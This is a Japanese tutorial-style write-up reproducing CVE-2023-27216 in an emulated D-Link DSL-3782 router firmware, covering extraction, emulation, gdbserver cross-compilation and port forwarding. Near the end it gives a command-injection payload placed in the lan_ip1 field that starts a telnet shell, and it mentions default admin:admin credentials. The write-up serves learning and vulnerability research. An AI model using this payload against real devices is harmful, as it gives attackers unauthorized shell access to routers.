
ファームウェアハッキングへの初心者のアプローチ
このドキュメントは、ファームウェアのリバースエンジニアリングとエクスプロイトの初心者である私の個人的な経験を記録したものです。

デモンストレーションとして、CVE-2023-27216 を解析・再現します。
ファームウェアをエクスプロイトするには、以下の手順があります:
gdbserver をスタティックにビルドする。通常、ファームウェアのバイナリファイルには、ブートローダー(uBoot)、カーネルファイル、ブートローダー用のカーネルヘッダー(uImage)、圧縮ファイルシステム(一般的に SquashFS 形式)、CRC/MD5テーブル(ファイルの整合性を検証するため)、その他の雑多なファイルが含まれています。
まずファームウェアを解析する方法を調べ、調査を行い、いくつかのリソースを入手しました:

binwalkを使用してファームウェアを抽出する: binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

抽出された squashfs-root フォルダといくつかの奇妙なファイルが得られました。

ボーナス: squashfs-root フォルダが見当たらない場合は、表示されている ".squashfs" ファイルに対して unsquashfs を使用してください。それらはZIPファイルのようなものです 😅。
ファームウェアのアーキテクチャとエンディアンを確認します。これは、ファームウェアから抽出したバイナリを確認することでチェックできます。アーキテクチャとファームウェアを確認するには: file <binary>

ここで、ファームウェアがMIPS 32ビットMSBアーキテクチャで動作することをほぼ確認できます。「ほぼ」の理由は、一部のファームウェアが Lexra のような MIPS互換 の異なるアーキテクチャで動作する可能性があるためです。
squashfs-root フォルダを確認すると、いくつかの興味深いファイルが見つかりました:
usr/etc/init.d/rcS => これはファームウェアの起動時に実行されるスクリプトですusr/etc/passwd => これはユーザー情報を含むファイルですuserfs/romfile.cfg => 認証情報 admin:admin がありますrcS ファイルを確認すると、いくつかの興味深いコードが見つかりました:
echo "admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh" > /usr/etc/passwd
passwd ファイルに書き込むために使用されますBoa は古いWebサーバーで、主に2000年代のルーターなどの組み込みデバイスで使用されていました。しかし、boaサーバーの開発は2005年にすでに停止しています!Boaサーバーは約20年前に開発が終了しましたが、ベンダーのおかげで今日でも生き続けています。

エミュレーションプロセスには、Ubuntu や Kali などのDebianベースのOSを使用することをお勧めします。ファームウェアハッキングに特化した別のOSとして AttifyOS もあります。このドキュメントでは、Kali Linuxを使用しました。エミュレーションプロセスを始めるにあたり、2つのツールがあります:

FAT を使用してファームウェアを完全にエミュレートする方法を見ていきましょう。まず、githubからリポジトリをKaliマシンにクローンします。そしてセットアッププロセスを進めます。fat.config ファイルも変更する必要があります。そうしないと機能しません。
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
vi fat.config # Modify to your sudo password.
次に、メーカーからダウンロードしたファームウェアバイナリをKaliマシンの FAT のフォルダにコピーして実行します。
./fat.py DSL-3782_A1_EU_1.01_07282016.bin
注: FAT のセットアッププロセス中にエラーが発生する可能性があります。libmagicがないと表示されるかもしれません。

単純に次のコマンドを実行してください
pip unistall python-magic
pip install python-magic
これで問題が解決するはずです。その後、ビルドコマンドを再度実行します。今度は完璧に動作するはずです。

Enter を押して実行します。エミュレーションプロセスが正常に動作し、http://192.168.1.1(Kaliマシン上)にブラウザでアクセスして動作を確認できます。

認証情報があればコンソールにログインすることもできます。ここでは admin:admin です。

エミュレートされたファームウェアを停止する場合は、Ctrl+A X を押してください。再度実行する必要がある場合、ファームウェアはすでにイメージにビルドされているため、fat.py を再度実行しないでください。生成済みのスクリプトを実行するだけでOKです。
cd firmadyne/scratch/<Image-ID>
./run.sh

デバッグ目的で gdbserver をビルドします。gdbserver をビルドする方法はいくつかあります。静的にビルドされたサーバーをダウンロードすることもできます。静的にビルドされたものを保存しているリポジトリがあります。しかし、githubリポジトリのものはかなり古く、互換性の問題が発生する可能性があるため、私は自分で gdbserver をビルドする方を好みます。
参考としてこちらのブログ記事を参照してください https://sheran.sg/blog/cross-compile-gdb-for-mips/。ブログは2024年7月30日にアップロードされました。このプロジェクトの直前なので、完璧に動作します。
注: ブログは MIPS x32 LSB 用にビルドされていますが、私たちには MIPS x32 MSB が必要です。mipsel-linux-gnu を mips-linux-gnu に変更する必要があります。
MIPS 用のツールチェーンをインストールする必要があります。幸い、Debianパッケージにすでに含まれています。
**apt update && apt upgrade -y
apt install -y build-essential m4 gcc-mips-linux-gnu g++-mips-linux-gnu**
MIPS 用の gdbserver をビルドするには、ビルドしてインストールする必要があるパッケージがいくつかあります。ソースの入手先は以下の通りです。
ソースの入手
wget https://sourceware.org/pub/gdb/releases/gdb-15.1.tar.xz
wget https://gmplib.org/download/gmp/gmp-6.3.0.tar.xz
wget https://www.mpfr.org/mpfr-current/mpfr-4.2.1.tar.xz
ツールチェーンでライブラリをビルドする これらのライブラリをビルドする際にroot権限を持つことが重要です。MPFRをビルドするための要件であるため、最初にGMPをビルドする必要があります。
tar xvf gmp-6.3.0.tar.xz && cd gmp-6.3.0
./configure --host=mips-linux-gnu
make -j$((`nproc`+1))
make install
cd ..
次にMPFRをビルドします:
tar xvf mpfr-4.2.1.tar.xz && cd mpfr-4.2.1
./configure --host=mipsel-linux-gnu --with-gmp-build=<YOUR-FOLDER>/gmp-6.3.0
make -j$((`nproc`+1))
make install
cd ..
これでようやくgdbserverをビルドできます:
tar xvf gdb-15.1.tar.xz && cd gdb-15.1
./configure --host=mipsel-linux-gnu --with-gmp-lib=/usr/local/lib --with-mpfr-lib=/usr/local/lib --with-gmp-include=<YOUR-FOLDER>/gmp-6.3.0 --with-mpfr-include=<YOUR-FOLDER>/mpfr-4.2.1/src
make -j$((`nproc`+1)) LDFLAGS=-static
ビルドされたバイナリ gdbserver は gdb-15.1/gdbserver フォルダにあります。
エミュレートされたファームウェアには wget、nc、curl、/dev/tcp などがありません。ファイル転送用のPython HTTPサーバーをホストすることはできません。ssh もありません。しかし、イメージをマウントすることで gdbserver をエミュレートされたマシンに配置できます。
sudo ./scripts/mount.sh 1gdbserver をマウントされたフォルダ内の任意の場所にコピーします。sudo ./scripts/umount.sh 1./run.sh を再度実行)。

これでKaliマシン内でデバッグとハッキングを実行できます。しかし、さらに一歩進んで、エミュレートされたマシンをホストマシン(WindowsやMac)にポートフォワーディングすることもできます。
まず ifconfig を使用してネットワークを確認しましょう。

結果から、eth0 と tap1_0 の2つのインターフェースがあることがわかります。知られているように、eth0 はホストとの共有ネットワークのインターフェースで、tap1_0 はエミュレートされたファームウェアマシンのインターフェースです。
理解を容易にするために、eth0 のネットワークはパブリックネットワークのようなもので、ホストマシンからKaliマシンにアクセスできます。tap1_0 はプライベートネットワークのようなもので、Kaliマシンからしかアクセスできません。eth0 から tap1_0 インターフェースのポート 192.168.1.1:80 への接続をフォワーディングする必要があります。
これを支援するツールはたくさんあります。しかし、設定方法を知っていれば iptables が最もよく機能するようです。
まずポートフォワーディングを許可する必要があります。次のコマンドを実行します:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
これは1セッションのみに適用されます。永続的に適用する場合は、/etc/sysctl.conf の内容を変更します。
net.ipv4.ip_forward=1 # Find this line, uncomment it.
完了したらファイルを保存して閉じます。
次に、このファイルの設定を適用します。次のコマンドを実行します:
sudo sysctl -p
sudo sysctl --system
通常、一連の iptables コマンドを実行できます。しかし、それは非常に面倒です 😵💫。iptables-persistent ツールをインストールできます。これにより、設定ファイルを作成してロードしたり、チェーンをファイルに抽出したりできます。すべて迅速に実行できます。
apt install iptables-persistent
ここで変更したい設定ファイルは /etc/iptables/rules.v4 です。ファイルの内容を以下の内容に変更します。
*filter
:INPUT ACCEPT [37:22880]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [35:2330]
# Forward HTTP Port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 80 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 80 -s 192.168.1.1 -j ACCEPT
# Forward Debugger port
-A FORWARD -i eth0 -o tap1_0 -p tcp --dport 31337 -d 192.168.1.1 -j ACCEPT
-A FORWARD -i tap1_0 -o eth0 -p tcp --sport 31337 -s 192.168.1.1 -j ACCEPT
COMMIT
# Completed on Wed Aug 7 09:32:11 2024
# Generated by iptables-save v1.8.10 (nf_tables) on Wed Aug 7 09:32:11 2024
*nat
:PREROUTING ACCEPT [60:5405]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [1096:50947]
-A PREROUTING -i eth0 -p tcp -j DNAT --to-destination 192.168.1.1
-A POSTROUTING -o tap1_0 -p tcp -d 192.168.1.1 -j MASQUERADE
注意: すべてのポートを許可すると、多くのセキュリティ問題が発生します。すべてのポートを
DROPしてから、必要な数だけFORWARDすることをお勧めします。
保存してiptablesチェーンを更新します。
service netfilter-persistent reload
これでホストの外部からアクセスできます。

エクスプロイト可能なエンドポイントが複数あります。そのうち2つは cfg_manager バイナリ内にあります。そのうちの1つだけをデモンストレーションします。もう1つは自分で見つけてください。
お気に入りのデコンパイラにバイナリを投げて、すべての system コマンドを確認すると、これが表示されるかもしれません。このコマンドは /etc/lanconfig.sh というファイルを実行します。

このファイルを使用する可能性のある他の場所を確認したところ、ファイルを書き込める場所を見つけました。

その動作を説明します:
/etc/lanconfig.sh を開きますmxmlElementGetAttr という関数を呼び出します。これは、オブジェクトから属性を見つける関数だと思います。HTTPリクエストから直接または間接的に取得される可能性があり、XMLの可能性もあります。sprintf を使用して、mxmlElementGetAttr から取得した属性から文字列を作成します。fputs を使用してファイルに書き込みます。すぐに、Webフォルダ boaroot 内で IP、netmask に関連するものを検索し、これを見つけました。boaウェブサーバーのドキュメントは非常に限られているため、POSTパラメータ lan_ip1 をバイナリから呼び出されるXMLの IP パラメータに渡しているのだと推測するしかありません。

インターフェース上で、バグを引き起こすリクエストを見つけることができます。それは 設定 > ネットワーク にあります。

Save を押したときにBurpsuiteでリクエストをインターセプトします。

ペイロード 192.168.1.1;utelnetd -p 8090 -l /bin/sh; はリバースシェルです。接続して実行できます。

似たようなもので、FAT より優れているかもしれません。試したことはありません -> FirmAE。
Binary Ninja は学生ステータスがあれば74ドルです。ライセンスは誰とでも共有できます。
CVE に関連するその他のバグ:

これもRCEにつながる可能性があります。自分で試してみてください。その場所 data_4c0160 のメモリはどこかに注入できる可能性があります 🫡。

